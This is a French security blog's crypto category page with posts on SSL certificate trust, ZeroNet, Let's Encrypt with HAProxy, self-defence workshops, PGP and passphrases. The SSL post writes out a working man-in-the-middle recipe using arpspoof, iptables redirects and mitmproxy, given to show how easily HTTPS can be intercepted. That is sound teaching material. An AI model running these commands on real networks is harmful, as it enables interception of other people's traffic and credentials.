Carnets Web - crypto

Avez vous confiance en SSL?

2016-03-25T00:00:00+01:00

Dans le cadre des ateliers d'autodéfense numérique, j'ai passé un peu de temps à creuser sur l'utilisation de SSL puisque contrairement à ce que la plupart des personnes ont encore tendance à croire, le petit cadenas (qui prouve qu'une connexion SSL est en cours) n'est absolument pas suffisant.

Allez hop, c'est parti pour:

un tour d'horizon du fonctionnement de SSl
quelques moyens contourner cette "protection" en faisant une attaque en pratique
un tour des solutions existantes actuellement et de pourquoi je ne les trouve pas vraiment satisfaisantes.

Comment fonctionne SSL?

Pour expliquer les problèmes de SSL, j'ai d'abord besoin d'expliquer comment tout ça fonctionne.

SSL repose sur l'utilisation de certificats, qui sont générés par des autorités de certification (Certificate Authority que je nomme CA dans la suite de l'article).

Les certificats SSL permettent deux choses:

De garantir que les communications entre les navigateurs (vous) et les sites Web ne sont connues que du détenteur du certificat du site et de vous même.
De garantir que le site sur lequel vous vous connectez est bien celui que vous imaginez.

Le navigateur, lors d'une visite d'un site, va télécharger le certificat associé puis vérifier que le certificat en question a bien été généré par un des CA en qui il a confiance.

Imaginons maintenant qu'une des CA essaye de savoir ce qui s'échange entre mon navigateur et le site de ma banque (protégé par SSL). Comment cela se passerait il ?

N'importe quel CA peut donc générer des certificats pour n'importe quel site, et le navigateur vérifierait, lui, que le certificat a bien été généré par une CA.

Tout cela ne poserait pas de soucis si les CA étaient gérés de manière fiable, mais il s'agit d'un travail compliqué, et certains CA ont par le passé montré des faiblesses.

Par exemple, DigiNotar (un CA des Pays-Bas) a été compromise et les attaquant.e.s ont pu générer des certificats SSL frauduleux, ce qui leur a permis d'attaquer des sites tels que Facebook ou GMail.

Vous pouvez retrouver une liste des risques et menaces autour des CA sur le wiki de CACert.

Attaque de l'homme du milieu avec SSL

A force de dire que c'était très facile à faire, j'ai eu envie d'essayer d'espionner des connections protégées par SSL, et effectivement c'est carrément flippant tellement c'est simple.

En l'espace de quelques minutes, il est possible de faire une attaque de l'homme du milieu en utilisant par exemple un outil nommé mitm-proxy.

Pour déchiffrer l'ensemble du trafic SSL, j'ai simplement eu à lancer quelques commandes et avoir un CA dans lequel le navigateur de la victime a confiance. Je l'ai ajouté dans le navigateur cible pour simuler que je l'avais déjà (c'est le cas si un des 1200 CA se fait pirater, ce qui me semble une surface d'attaque assez large).

Je les colle ici si ça vous intéresse:

$ sudo aptitude install mitmproxy
$ mitm-proxy -T --host

Il faut faire croire à votre victime que vous êtes la passerelle vers l'extérieur et à la passerelle que vous êtes la victime:

arpspoof -i wlan0 -t victime gateway
arpspoof -i wlan0 -t gateway victime

Puis dire à notre fausse passerelle de rediriger le trafic des ports 80 et 443 vers notre proxy:

sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 4443
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 4443

Et paf, on voit tout ce qui passe entre la machine et le serveur SSL. On peut d'ailleurs même imaginer faire tourner ces quelques commandes sur un raspberry pi, pour aller encore plus vite…

Key-pinning dans les navigateurs

Actuellement, n'importe quel CA peut générer des certificats pour n'importe quel site, et c'est en grande partie ce qui pose souci. Une des manières de faire évoluer la situation est d'épingler les certificats de certains sites directement dans les navigateurs.

Cette approche a le mérite de fonctionner très bien pour un petit nombre de sites critiques (Google, Facebook, etc).

HTTP Public Key Pinning (HPKP)

HTTP Public Key Pinning est également une solution de pinning qui permet d'établir une confiance lors de la première connexion avec le site. C'est ce qu'on appelle du Trust on First Use ou TOFU.

Le navigateur va alors mettre ces informations dans un cache et vérifiera que les certificats correspondent bien lors des prochaines visites.

HPKP est disponible dans Firefox depuis Janvier 2015 et dans Chrome depuis Octobre 2015.

Certificate transparency: des journaux auditables

Une autre approche est celle proposée par certificate transparency:

Certificate Transparency aims to remedy these certificate-based threats by making the issuance and existence of SSL certificates open to scrutiny by domain owners, CAs, and domain users.

-- Certificate Transparency

Autrement dit, avec ce système les CA doivent rendre public le fait qu'ils aient signé de nouveaux certificats intermédiaires. La signature est ajoutée à un journal sur lequel il n'est possible que d'écrire.

Les navigateurs vont alors vérifier que les certificats utilisés sont bien des certificats qui ont été ajoutés au journal.

Ici, toute l'intelligence est dans la vérification de ces journaux, qui permettent donc de valider/invalider des certificats racines ou intermédiaires.

Il me semble donc qu'il serait possible d'ajouter un certificat frauduleux le temps d'une attaque (et celui ci serait détecté et supprimé ensuite).

Certificate-Transparency n'est donc pas une solution contre une écoute globale mise en place par les gouvernements par exemple.

Si vous lisez bien l'anglais, je vous invite à aller lire cette description du problème et de la solution que je trouve très bien écrite.

DANE + DNSSEC

The DANE working group has developed a framework for securely retrieving keying information from the DNS [RFC6698]. This framework allows secure storing and looking up server public key information in the DNS. This provides a binding between a domain name providing a particular service and the key that can be used to establish encrypted connection to that service.

-- Dane WG

Une autre solution est appelée "DANE" et repose par dessus le protocole DNSSEC.

Je connais assez mal DNSSEC donc j'ai passé un peu de temps à lire des documents. L'impression finale que ça me laisse est que le problème est exactement le même que pour SSL: un certain nombre de personnes détiennent les clés et toute la sécurité repose sur cette confiance. Or il est possible que ces clés soient détenues par des personnes non dignes de confiance.

Secure DNS (DNSSEC) uses cryptographic digital signatures signed with a trusted public key certificate to determine the authenticity of data. -- https://en.wikipedia.org/wiki/DNS_spoofing

Et aussi:

It is widely believed[1] that securing the DNS is critically important for securing the Internet as a whole, but deployment of DNSSEC specifically has been hampered (As of 22 January 2010) by several difficulties:

The need to design a backward-compatible standard that can scale to the size of the Internet

Prevention of "zone enumeration" (see below) where desired

Deployment of DNSSEC implementations across a wide variety of DNS servers and resolvers (clients)

Disagreement among implementers over who should own the top-level domain root keys Overcoming the perceived complexity of DNSSEC and DNSSEC deployment

Solutions basées sur la blockchain

Une dernière piste semble être l'utilisation de la blockchain pour distribuer des clés par site.

La solution DNSChain me paraissait tout d'abord un bon point de départ mais la lecture de quelques critiques et interventions du développeur du projet m'ont fait changer d'avis.

Reste encore la piste de Namecoin Control que je n'ai pas encore creusée. Peut-être pour un prochain billet. Toute piste de réflexion est bien sur la bienvenue sur ces sujets!

Retours sur un atelier ZeroNet

2016-03-17T00:00:00+01:00

Mardi dernier se tenait une cryptoparty dans les locaux de l'INSA de Rennes.

L'évènement s'étant rempli au delà de toutes les espérances, on m'a proposé de venir y tenir un atelier, que j'ai proposé sur ZeroNet, un petit projet fort sympathique qui pourrait devenir une nouvelle manière de distribuer le Web, permettant notamment d'éviter la censure.

Avant toute autre chose, merci énormément à l'équipe de la bibliothèque de l'INSA pour l'organisation de cet évènement qui à une réelle portée politique.

Un peu d'histoire

Il me semble que Tim Bernes Lee (l'inventeur du Web) avait prévu le Web comme un protocole décentralisé. Chacun hébergerait ses données et les servirait aux autres, qui pourraient alors y accéder.

Avec ce fonctionnement, impossible alors d'accéder à des sites si leur auteur n'est pas en ligne. Qu'à cela ne tienne, on s'est mis à avoir des machines qui restent connectées au réseau 24 heures par jour. Et puis une machine ne suffisant plus, on a eu des fermes de machines dans des data centers etc afin de supporter les milliers d'utilisateurs des sites.

Un Web décentralisé

ZeroNet permet (entre autres) de répondre à ce problème en proposant une manière alternative de distribuer le Web, en pair à pair. Lors d'une visite d'un site:

Vous contactez un tracker BitTorrent pour connaitre la liste des autres visiteurs du site (les pairs).
Vous demandez aux pairs de vous donner les fichiers du site.
Vous validez que les fichiers servis sont bien les bons (en vérifiant la signature attachée).

N'importe quel visiteur devient alors un pair, qui sert le site aux autres visiteurs.

Parmi les nombreux avantages de cette approche, je note particulièrement que:

Il est très difficile de censurer un site — Il est sur l'ensemble des machines des visiteurs.
Les attaques par fingerprinting sont impossibles: le navigateur Web se connecte à un serveur proxy local.
Vous détenez directement vos données et (par design) ne les donnez pas à des silos (Facebook, Google, etc.)

Si vous êtes interessés par une démonstration rapide, j'ai enregistré une vidéo de 10 minutes où je parle en anglais avec une voix très grave.

Atelier

Pour l'atelier, j'ai choisi de faire une présentation rapide du projet (j'ai traduit les slides anglais pour l'occasion — accès aux sources) avant d'installer ZeroNet sur les machines et de l'utiliser pour publier un site.

Partager sur le réseau local

Nous avons eu des soucis à cause du réseau (un peu congestionné) sur lequel les ports utilisés pour la discussion entre pairs étaient fermés. Il est bien sur possible de faire tourner le tout de manière indépendante du reste du réseau, mais je n'avais pas prévu le coup.

Voici donc comment faire pour contourner le souci:

Installer et lancer un tracker BitTorrent (De manière surprenante, rien n'est packagé pour debian pour l'instant) J'ai choisi d'installer OpenTracker
Ensuite lancer ZeroNet avec des options spécifiques.

$ python zeronet.py --trackers udp://localhost:6969 --ip_external 192.168.43.207
$ python zeronet.py --trackers udp://192.168.43.207:6969 --ip_external 192.168.43.172

Il est nécessaire de spécifier l'adresse IP externe que chaque nœud expose pour éviter qu'elle n'essaye d'aller la trouver par elle même: nous voulons l'adresse du réseau local, et non pas l'adresse internet.

La prochaine fois je tenterais de venir avec un HotSpot Wifi et un tracker BitTorrent dans la poche!

Questions / Réponses

Il y avait quelques questions intéressantes auxquelles je n'ai pas toujours su répondre sur le moment. Après quelques recherches, je rajoute des détails ici.

Torrent + Tor = brèche de sécu ?

Il me semblait avoir entendu parler de problèmes de dé-anonymisation lors de l'utilisation de BitTorrent par dessus Tor.

Dans certains cas, certains clients torrents (uTorrent, BitSpirit, etc) écrivent directement votre adresse IP dans l'information qui est envoyée au tracker et/ou aux autres pairs. — https://blog.torproject.org/blog/bittorrent-over-tor-isnt-good-idea

Ce n'est pas le cas de ZeroNet, ce qui évacue le souci.

ZeroMail, c'est lent non ?

Une des applications de démo, ZeroMail, propose un mécanisme qui permet de s'envoyer des messages chiffrés sur un réseau pair à pair. L'approche choisie est de chiffrer les messages avec la clé du destinataire et de le mettre dans un pot commun. Tout le monde essaye de déchiffrer tous les messages, mais ne peut déchiffrer que les siens.

Cela permet de ne pas fuiter de méta-données, à l'inverse de PGP.

Je n'ai en fait pas de réponse claire à donner à cette question: l'auteur de ZeroNet me disait que 10MB (la limite de taille d'un site, par défaut) correspondait à beaucoup de place pour stocker des messages, et qu'il était possible de supprimer les anciens messages une fois qu'ils sont lus par exemple.

Une autre solution à laquelle je pensait était de créer un ZeroSite pour chaque récipient, mais on connait à ce moment là le nombre de messages qu'un utilisateur peut recevoir.

Je vois plusieurs problèmes avec le design actuel de ZeroMail (il me semble assez facile d'y faire un déni de service par exemple). A creuser.

Comment héberger des très gros sites ?

Par exemple, comment faire pour héberger Wikipedia ?

Il semble que la meilleure manière de faire serait de séparer Wikipedia en un tas de petites ressources (par catégorie par ex.). Les gros médias pourraient être considérés optionnels (et donc téléchargés uniquement à la demande)

Est-ce qu'on à vraiment besoin d'un tracker ?

Le support d'une DHT est souhaité, mais pour l'instant pas encore implémenté. L'utilisation de la DHT BitTorrent n'est pas une option puisque Tor ne supporte pas UDP.

Let's Encrypt + HAProxy

2016-02-11T00:00:00+01:00

It’s time for the Web to take a big step forward in terms of security and privacy. We want to see HTTPS become the default. Let’s Encrypt was built to enable that by making it as easy as possible to get and manage certificates.

—Let's Encrypt

Depuis début Décembre, la nouvelle autorité de certification Let's Encrypt est passée en version Beta. Les certificats SSL sont un moyen de 1. chiffrer la communication entre votre navigateur et le serveur et 2. un moyen d'être sur que le site Web auquel vous accédez est celui auquel vous pensez vous connecter (pour éviter des attaques de l'homme du milieu).

Jusqu'à maintenant, il était nécessaire de payer une entreprise pour faire en sorte d'avoir des certificats qui évitent d'avoir ce genre d'erreurs dans vos navigateurs:

Maintenant, grâce à Let's Encrypt il est possible d'avoir des certificats SSL gratuits, ce qui représente un grand pas en avant pour la sécurité de nos communications.

Je viens de mettre en place un procédé (assez simple) qui permet de configurer votre serveur pour générer des certificats SSL valides avec Let's Encrypt et le répartiteur de charge HAProxy.

Je me suis basé pour cet article sur d'autres articles, dont je vous recommande la lecture pour un complément d'information.

Validation des domaines par Let's Encrypt

Je vous passe les détails d'installation du client de Let's Encrypt, qui sont très bien expliqués sur leur documentation.

Une fois installé, vous allez taper une commande qui va ressembler à:

letsencrypt-auto certonly --renew-by-default
--webroot -w /home/www/letsencrypt-requests/ \
-d hurl.kinto-storage.org \
-d forums.kinto-storage.org

Le webroot est l'endroit ou les preuves de détention du domaine vont être déposées.

Lorsque les serveurs de Let's Encrypt vont vouloir vérifier que vous êtes bien à l'origine des demandes de certificats, ils vont envoyer une requête HTTP sur http://domaine.org/.well-known/acme-challenge, ou il voudra trouver des informations qu'il aura généré via la commande letsencrypt-auto.

J'ai choisi de faire une règle dans haproxy pour diriger toutes les requêtes avec le chemin .well-known/acme-challenge vers un backend nginx qui sert des fichiers statiques (ceux contenus dans /home/www/letsencrypt-requests/).

Voici la section de la configuration de HAProxy (et la configuration complete si ça peut être utile):

frontend http
    bind 0.0.0.0:80
    mode http
    default_backend nginx_server

    acl letsencrypt_check path_beg /.well-known/acme-challenge
    use_backend letsencrypt_backend if letsencrypt_check

    redirect scheme https code 301 if !{ ssl_fc } !letsencrypt_check

backend letsencrypt_backend
    http-request set-header Host letsencrypt.requests
    dispatch 127.0.0.1:8000

Et celle de NGINX:

server {
    listen 8000;
    server_name letsencrypt.requests;
    root /home/www/letsencrypt-requests;
}

Installation des certificats dans HAProxy

Vos certificats SSL devraient être générés dans /etc/letsencrypt/live, mais ils ne sont pas au format attendu par haproxy. Rien de grave, la commande suivant convertit l'ensemble des certificats en une version compatible avec HAProxy:

cat /etc/letsencrypt/live/domaine.org/privkey.pem /etc/letsencrypt/live/domaine.org/fullchain.pem > /etc/ssl/letsencrypt/domaine.org.pem

Et ensuite dans la configuration de haproxy, pour le (nouveau) frontend https:

bind 0.0.0.0:443 ssl no-sslv3 crt /etc/ssl/letsencrypt

Faites bien attention à avoir un frontend https pour tous vos sites en HTTPS. Pour moi cela ressemble à ça.

Une fois tout ceci fait, redémarrez votre service haproxy et zou !

Automatisation

Pour automatiser un peu tout ça, j'ai choisi de faire ça comme suit:

Un fichier domaine dans letsencrypt/domains/domain.org qui contient le script letsencrypt.
Un fichier d'installation de certificats dans letsencrypt/install-certs.sh qui s'occupe d'installer les certificats déjà générés.

Et voila ! Le tout est dans un dépot github, si jamais ça peut vous servir, tant mieux !

Ateliers d'autodéfense numérique

2016-01-14T00:00:00+01:00

Il y a huit mois, je me rendais compte de l'importance du choix des outils pour faire face à la surveillance généralisée, et notamment en rapport au chiffrement des données. Une de mes envies de l'époque était l'animation d'ateliers.

Je compte donc:

Organiser des ateliers de sensibilisation aux outils de communication, envers mes proches;

Utiliser la communication chiffrée le plus souvent possible, au moins pour rendre le déchiffrement des messages plus longue, "noyer le poisson".

—Chiffrement

J'ai mis un peu de temps à mettre le pied à l'étrier, mais je ressors finalement du premier atelier que j'ai co-animé avec geb, auprès d'un public de journalistes.

Pour cette première édition l'idée était à la fois d'aller à la rencontre d'un public que je connais mal, de leur donner des outils pour solutionner les problèmes auxquels ils font parfois face, et de me faire une idée de ce que pouvait être un atelier sur l'autodéfense numérique.

L'objectif pour ce premier atelier était de:

Échanger autour des besoins et faire ressortir des histoires ou le manque d'outillage / connaissances à posé problème, dans des situations concrètes;
Se rendre compte des "conduites à risque", faire peur aux personnes formées pour qu'elles se rendent compte de l'état actuel des choses;
Proposer des solutions concrètes aux problèmes soulevés, ainsi que le minimum de connaissance théorique pour les appréhender.

1. Faire ressortir les problèmes

Afin de faire ressortir les problèmes, nous avons choisi de constituer des petits groupes de discussion, afin de faire des "Groupes d'Interview Mutuels", ou "GIM":

l’animateur invite les participants à se regrouper par trois, avec des personnes qu’on connaît moins puis invite chacun à livrer une expérience vécue en lien avec le thème de la réunion et les deux autres à poser des questions leur permettant de bien saisir ce qui a été vécu.

—«Pour s'écouter», SCOP Le Pavé.

De ces GIMs nous avons pu ressortir quelques histoires, gravitant autour de:

La protection des sources (d'information): Comment faire pour aider quelqu'un à faire "fuiter" des données depuis l'intérieur d'une entreprise ?
Le chiffrement de ses données: Comment éviter de faire "fuiter" des données importantes lors d'une perquisition de matériel ?

2. Faire peur

Un des premiers objectifs est de faire peur, afin que tout le monde se rende compte à quel point il est facile d'accéder à certaines données. Grégoire m'avait conseillé quelques petites accroches qui ont ma foi bien marché:

J'ai demandé aux présent.e.s de:

donner leur mot de passe à voix haute devant les autres: a priori personne ne le fera;
venir se connecter à leur compte email depuis mon ordinateur. J'ai piégé une personne, qui est venu pour taper son mot de passe.

Cela à été un bon moyen de parler de l'importance des traces que l'on peut laisser sur un ordinateur, et de la confiance qu'il faut avoir dans le matériel que l'on utilise, à fortiori si ce ne sont pas les vôtres.

Pour continuer à leur faire peur, après une brève explication de ce qu'est SSL nous avons montré comment il était facile de scruter le réseau à la recherche de mots de passe en clair.

3. Proposer des solutions concrêtes

Une fois que tout le monde avait pleinement pris sonscience des problématiques et n'osait plus utiliser son ordinateur ou son téléphone, on à commencé à parler de quelques solutions. Plusieurs approches étaient possibles ici, nous avons choisi de présenter quelques outils qui nous semblaient répondre aux attentes:

On a expliqué ce qu'était Tails, et comment l'utiliser et le dupliquer.
On a pu faire un tour des outils existants sur Tails, notamment autour de l'anonymisation de fichiers et la suppression effective de contenus.
Certaines personnes ont pu créer une clé tails avec la persistance de configurée.
Nous nous sommes connectés au réseau Tor et testé que nos adresses IP changeaient bien à la demande.
Nous avons utilisé CryptoCat par dessus Tor, afin de voir comment avoir une conversation confidentielle dans laquelle il est possible d'échanger des fichiers.

Retours

D'une manière générale, pour une formation de trois heures et demi, je suis assez content de l'exercice, et de l'ensemble des sujets que nous avons pu couvrir. Il y a beaucoup de place pour l'amélioration, notamment en amont (j'avais par exemple oublié d'amener avec moi suffisamment de clés USB pour utiliser Tails).

La plupart des retours qu'on a pu avoir jusqu'à maintenant sont positifs, et il y a l'envie d'aller plus loin sur l'ensemble de ces sujets.

La suite

Il y a beaucoup de sujets que nous n'avons pas abordés, ou uniquement survolés, à cause du manque de temps disponible. Idéalement, il faudrait au moins une journée entière pour couvrir quelques sujets plus en détail (on peut imaginer avoir une partie théorique le matin et une partie pratique l'après-midi par exemple).

J'ai choisi volontairement de ne pas aborder le chiffrement des messages via PGP parce que je pense que la protection que ce média propose n'est pas suffisante, mais je suis en train de revenir sur ma décision: il pourrait être utile de présenter l'outil, à minima, en insistant sur certaines de ses faiblesses.

Un compte twitter à été créé recemment autour des crypto-party à Rennes, si vous êtes interessés, allez jeter un coup d'œil!

Je n'ai pas trouvé de ressources disponibles par rapport à des plans de formation sur le sujet, j'ai donc décidé de publier les nôtres, afin de co-construire avec d'autres des plans de formation.

Ils sont pour l'instant disponibles sur Read The Docs. Tous les retours sont évidemment les bienvenus !

Web distribution signing

2015-10-12T00:00:00+02:00

Note

I'm not a crypto expert, nor pretend to be one. These are thoughts I want to share with the crypto community to actually see if any solution exists to solve this particular problem.

One often pointed flaw in web-based cryptographic applications is the fact that there is no way to trust online software distributions. Put differently, you don't actually trust the software authors but are rather trusting the software distributors and certificate authorities (CAs).

I've been talking with a few folks in the past months about that and they suggested me to publish something to discuss the matter. So here I come!

The problem (Attack vectors)

Let's try to describe a few potential attacks:

Application Authors just released a new version of their open source web crypto messaging application. An Indie Hoster installs it on their servers so a wide audience can actually use it.

Someone alters the files on Indie Hoster servers, effectively replacing them with other altered files with less security properties / a backdoor. This someone could either be an Evil Attacker which found its way trough, the Indie Hoster or a CDN which delivers the files,

Trusted Certificate Authorities ("governments" or "hacking team") can also trick the User Agents (i.e. Firefox) into thinking they're talking to Indie Hoster even though they're actually talking to a different server.

Altered files are then being served to the User Agents, and Evil Attacker now has a way to actually attack the end users.

Problem Mitigation

Part of the problem is solved by the recently introduced Sub Resource Integrity (SRI). To quote them: "[it] defines a mechanism by which user agents may verify that a fetched resource has been delivered without unexpected manipulation.".

SRI is a good start, but isn't enough: it ensures the assets (JavaScript files, mainly) loaded from a specific HTML page are the ones the author of the HTML page intends. However, SRI doesn't allow the User Agent to ensure the HTML page is the one he wants.

In other words, we miss a way to create trust between Application Authors and User Agents. The User-Agent currently has to trust the Certificate Authorities and the delivery (Indie Hoster).

For desktop software distribution: Crypto Experts audit the software, sign it somehow and then this signature can be checked locally during installation or runtime. It's not automated, but at least it's possible.

For web applications, we don't have such a mechanism, but it should be possible. Consider the following:

App Authors publish a new version of their software; They provide a hash of each of their distributed files (including the HTML files);
Crypto Experts audit these files and sign the hashes somehow;
User Agents can chose to trust some specific Crypto Experts;
When a User Agent downloads files, it checks if they're signed by a trusted party.

Chosing who you trust

In terms of user experience, handling certificates is hard, and that's where the community matters. Distributions such as Tails could chose who they trust to verify the files, and issue warnings / refuse to run the application in case files aren't verified.

But, as highligted earlier, CAs are hard to trust. A new instance of the same CA system wouldn't make that much differences, expect the fact that distributions could ship with a set of trusted authorities (for which revocation would still need to be taken care of).

[...] users are vulnerable to MitM attacks by the authority, which can vouch for, or be coerced to vouch for, false keys. This weakness has been highlighted by recent CA scandals. Both schemes can also be attacked if the authority does not verify keys before vouching for them.

—SoK : Secure Messaging;

It seems that some other systems could allow for something more reliable:

Melara et al proposed CONIKS, using a series of chained commitments to Merkle prefix trees to build a key directory [...] for which individual users can efficiently verify the consistency of their own entry in the directory without relying on a third party.

This “self- auditing log” approach makes the system partially have no auditing required (as general auditing of non-equivocation is still required) and also enables the system to be privacy preserving as the entries in the directory need not be made public. This comes at a mild bandwidth cost not reflected in our table, estimated to be about 10 kilobytes per client per day for self-auditing.

—SoK : Secure Messaging;

Now, I honestly have no idea if this thing solves the whole problem, and I'm pretty sure this design has many security problems attached to it.

However, that's a problem I would really like to see solved one day, so here the start of the discussion, don't hesitate to get in touch!

Addendum

It seems possible to increase the level a user has in a Web Application by adding indicators in the User-Agent. For instance, when using an application that's actually signed by someone considered trustful by the User-Agent (or the distributor of the User-Agent), a little green icon could be presented to the User, so they know that they can be confident about this.

A bit like User-Agents do for SSL, but for the actual signature of the files being viewed.

Les problèmes de PGP

2015-05-25T00:00:00+02:00

Flip a bit in the communication between sender and recipient and they will experience decryption or verification errors. How high are the chances they will start to exchange the data in the clear rather than trying to hunt down the man in the middle?

—http://secushare.org/PGP

Une fois passé l'euphorie du "il faut utiliser PGP pour l'ensemble de nos communications", j'ai réalisé lors de discussions que PGP avait plusieurs problèmes, parmi ceux-ci:

Les meta données (y compris le champ "sujet" de la conversation) sont quand même échangées en clair (il est possible de savoir qu'un message à été échangé entre telle et telle personne, a telle date);
PGP se base sur un protocole de communication qui est lui non chiffré, et il est donc facile de soit se tromper, soit dégrader le mode de conversation vers une méthode non chiffrée;
Il est facile de connaître votre réseau social avec PGP, puisque tout le principe est de signer les clés des personnes dont vous validez l'identité;
En cas de fuite de votre clé privée, tous les messages que vous avez chiffrés avec elle sont compromis. On dit que PGP ne fournit pas de forward secrecy;
La découverte de la clé de pairs se passe souvent en clair, sans utiliser une connexion "sécurisée" (HTTPS). Tout le monde peut donc voir ces échanges et savoir de qui vous cherchez la clé;
Les discussions de groupes sont très difficiles: il faut chiffrer pour chacun des destinataires (ou que ceux-ci partagent une paire de clés).

Je suis en train de creuser à propos les alternatives à PGP, par exemple Pond, qui lui ne construit pas par dessus un standard déjà établi, et donc n'hérite pas de ses défauts (mais pas non plus de son réseau déjà établi).

En attendant, quelques bonnes pratiques sur PGP ;)

Bonnes pratiques

Il est en fait assez facile d'utiliser PGP de travers. Riseup à fait un excellent guide qui explique comment configurer son installation correctement.

J'en ai déjà parlé, mais il faut absolument choisir des phrases de passes suffisamment longues. Pas facile de les retenir, mais indispensable. Vous pouvez aussi avoir un document chiffré avec une clé que vous ne mettez jamais en ligne, qui contiens ces phrases de passe, au cas ou vous les oubliez.
Générez des clés RSA de 4096 bits, en utilisant sha512;
Il faut utiliser une date d'expiration de nos clés suffisamment proche (2 ans). Il est possible de repousser cette date si nécessaire, par la suite.

Parmi les choses les plus frappantes que j'ai rencontrées:

Utiliser le flag –hidden-recipient avec PGP pour ne pas dévoiler qui est le destinataire du message;
Ne pas envoyer les messages de brouillons sur votre serveur, ils le seraient en clair !;
Utilisez HPKS pour communiquer avec les serveurs de clés, sinon tout le trafic est en clair.

Le projet Bitmask vise lui à rendre les outils de chiffrement d'échanges de messages et de VPN simples à utiliser, encore quelque chose à regarder.

Enfin bref, y'a du taf.

Simplifier les preuves d'identités

2015-05-11T00:00:00+02:00

L'un des problèmes non réellement résolu actuellement quant au chiffrement des échanges est lié à l'authenticité des clés. Si quelqu'un décide de publier une clé en mon nom, et en utilisant mon adresse email, cela lui est assez facile.

Il est donc nécessaire d'avoir des moyens de prouver que la clé publique que j'utilise est réellement la mienne.

Traditionnellement, il est nécessaire de faire signer ma clé publique par d'autres personnes, via une rencontre en personne ou des échanges hors du réseau. C'est par exemple ce qui est réalisé lors des Key Signing parties.

Une manière simple d'effectuer ces vérifications serait, en plus de donner son adresse email, sa signature de clé, ou a minima de donner un mot clé pour valider que les échanges proviennent bien de la bonne personne.

PGP propose un mécanisme de signature des clés d'autrui, une fois celles ci validées, ce qui permet de placer sa confiance dans les signataires de la clé.

Keybase.io est un service qui vise à rendre la création de ces preuves plus facile, en partant du principe qu'il est possible d'utiliser différents moyens afin de prouver l'identité des personnes. Par exemple, leurs comptes Twitter, GitHub ou leurs noms de domaines. De la même manière qu'il est possible de signer (valider) les clés de nos amis, il est possible de les "tracker" selon le jargon de keybase.

Donc, en somme, Keybase.io est un annuaire, qui tente de rendre plus facile la création de preuves. Bien.

Quelques points d'ombre

Il s'agit d'une startup américaine, domiciliée dans le Delaware, qui se trouve être un des paradis fiscaux qui est connu pour être un paradis fiscal au coeur même des États-Unis. Je ne veux pas faire de raccourcis trop rapides, bien évidemment, alors j'ai ouvert un ticket sur GitHub pour en savoir plus (après tout, le fait d'être un paradis fiscal permet peut-être d'échapper à certaines lois sur la requêtes de données). D'autant plus étonnant, la startup n'a pour l'instant pas de *business model* (ce qui en un sens est assez rassurant, même si on peut se poser la question de pourquoi faire une startup dans ces cas là).

Le service (bien qu'en Alpha), n'est pas mis à disposition sous licence libre, ce qui pour l'instant empêche quiconque de créer son propre serveur Keybase. Une partie des composants, cependant, le sont (open source).

J'ai du mal à croire en des initiatives qui veulent sauver le monde, mais dans leur coin, je ne comprends pas pourquoi il n'y à pas de documentation sur comment monter son propre serveur, ou comment les aider à travailler sur la fédération. Mais bon, c'est pour l'instant une initiative encore fraîche, et je lui laisse le bénéfice du doute.

Sur le long terme, une infrastructure comme Keybase.io, devra évidemment être distribuée.

We've been talking about a total decentralization, but we have to solve a couple things, synchronization in particular. Right now someone can mirror us and a client can trust a mirror just as easily as the server at keybase.io, but there needs to be a way of announcing proofs to any server and having them cooperate with each other. We'd be so happy to get this right.

—Chris Coyne, co-founder of Keybase

Afin de se "passer" de leur service centralisé, les preuves générées (qui sont la force du système qu'ils mettent en place) pourraient être exportées sur des serveurs de clés existants. C'est quelque chose qu'ils souhaitent réaliser ..

Bref, une initiative quand même importante et utile, même si elle soulève des questions qui méritent qu'on s'y attarde un brin.

Par ailleurs, d'autres projets qui visent des objectifs similaires existent, via le projet LEAP, mais je n'ai pas encore creusé.

Phrases de passe et bonnes pratiques

2015-05-09T00:00:00+02:00

Au contraire des autres mots de passe, les mots de passe cryptographiques ont specifiquement besoin d'être longs et extremement difficiles à deviner. La raison est qu'un ordinateur (ou un cluster de plusieurs ordinateurs) peut être programmé pour faire des trillions d'essais de manière automatique. Si le mot de passe choisi est trop faible ou construit d'une manière trop prédictible, cette attaque par la force pourrait se revéler fructueuse en essayant toutes les possibilités.

—The Electronic Frontier Foundation (traduction de mon fait)

Comprendre les concepts et l'écosystème qui permettent d'avoir une vie numérique chiffrée n'est pas quelque chose d'aisé. Plusieurs guides ont été écrits à ce propos, et pour autant je me rends compte que naïvement il est possible de mal utiliser les outils existants.

Utilisez un bon mot de passe pour votre session utilisateur et une bonne phrase de passe pour proteger votre clé privée. Cette phrase de passe est la partie la plus fragile de tout le système.

—La page de manuel de GPG.

Une phrase de passe devrait:

Être suffisamment longue pour être difficile à deviner;
Ne pas être une citation connue (littérature, livres sacrés etc);
Difficile à deviner même pour vos proches;
Facile à se souvenir et à taper;
être unique et non partagée entre différents sites / applications etc.

Une des techniques consiste à utiliser des mots du dictionnaire, sélectionnés de manière aléatoire, puis modifiés.

Micah Lee travaille également sur un outil qui vise à rendre la mémorisation des phrases de passe plus aisée, de par leur répétition avec des pauses de plus en plus longues.

Oui, ce n'est pas aussi simple que ce qu'il y parait. Pour ma part, j'ai une copie en local de mes clés, dans un fichier chiffré avec une autre clé que j'ai généré pour l'occasion et que je ne partagerait pas. J'ai par ailleurs configuré mon éditeur de texte pour pouvoir chiffrer les documents textes par défaut.

J'ai donc regénéré une nouvelle fois mes clés de travail et personnelles, en utilisant des phrases de passe plus complexes.

Reste encore la question de la sauvegarde de ces clés privées de manière chiffrée, que je n'ai pas encore résolue. Bref, tout cela me semble bien compliqué pour réussir à l'expliquer à des novices, qui pour certains ne sont même pas sur de l'intérêt de la chose.